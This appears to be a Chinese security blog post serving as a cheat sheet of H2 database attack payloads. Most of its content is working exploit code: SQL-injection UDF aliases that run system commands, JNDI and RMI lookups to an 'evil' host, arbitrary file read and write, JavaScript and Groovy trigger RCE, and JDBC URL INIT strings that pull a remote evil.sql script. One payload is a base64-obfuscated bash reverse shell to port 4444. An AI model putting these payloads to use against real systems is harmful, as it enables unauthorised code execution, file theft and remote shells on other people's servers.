H2注入

H2 注入

注入发生在sql语句执行时,换句话说就是先有SQL注入然后才能产生H2注入

命令语句如下:

SELECT * FROM LINK_SCHEMA('p4d0rn', 'javax.naming.InitialContext', 'rmi://127.0.0.1:8025/evil', 'p4d0rn', 'p4d0rn', 'PUBLIC');
UDF RCE

命令语句如下:

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
	java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc');

其中的$$用来表示无需转义的长语句.

UDF RCE 有返回值
CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException{
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); 
	return s.hasNext() ? s.next() : ""; 
}$$;

CALL SHELLEXEC('whoami');

反射形式执行命令:

CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();
H2低版本 + lombok

这种情况下只能考虑调用本地的静态方法.
例如使用com.sun.org.apache.xml.internal.security.utils.JavaUtils去进行文件读写:

CREATE ALIAS read FOR 'com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile';
SELECT read('E:/flag.txt');

返回的是一个字节数组.

CREATE ALIAS write FOR 'com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
SELECT write('E:/success.txt', 'Arbitrary File Write');
SELECT write('E:/wirte_hex.txt', X'68657265206973206d7920666c6167')

传的可以是一个hex编码的字符串或是一个普通字符串.
除此以外,还可以去打如下几种,总之都是去调用他的静态方法即可.

  • java.sql.DriverManager#getConnection 连接恶意MySQL服务器
  • javax.naming.InitialContext#doLookup JNDI注入
  • com.alibaba.fastjson.JSON#parseObject FastJson反序列化
  • org.springframework.util.SerializationUtils.deserialize 二次反序列化
JS RCE

要求H2的版本高于1.4.200,注意js代码中不能有分号.

CREATE TABLE hack (
     id INT NOT NULL
);

CREATE TRIGGER TRIG_JS AFTER INSERT ON hack AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc");';
 
INSERT INTO hack VALUES (1);

H2 Console Attack

首先如果application.properties中存在如下配置:

spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

可以访问/h2-console路由查看H2管理页面.
image

设置Driver Class为javajavax.naming.InitialContext设置JDBC URL为jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\,可以构成未授权访问.

H2 JDBC Attack

这种情况一般是URL可控,但是并没有SQL语句的拼接.这种情况只能通过INIT去执行一条SQL语句.

出网利用
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/evil.sql'

.sql是一个纯文本文件,其中的语句可以是上面任何一个,随便捞一个去打就行.

js不出网利用

在我们之前说的H2注入语句中都是通过创建一个UDF表然后执行查询来实现的,因此使用了两个语句,如果想一个语句的话就只能使用一个表.
可以使用js语句去执行,注意js代码中不能有分号.

jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")'
groovy不出网利用

如果存在groovy依赖的话也可以使用下面的poc

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>
jdbc:h2:mem:test;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$
H2 2.xxx 利用
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER TRIG_JS BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript Java.type("java.lang.Runtime").getRuntime().exec("calc")$$--

参考文章:https://p4d0rn.gitbook.io/java/jdbc-attack/h2

posted @ 2025-02-16 23:08  colorfullbz  阅读(157)  评论(0)    收藏  举报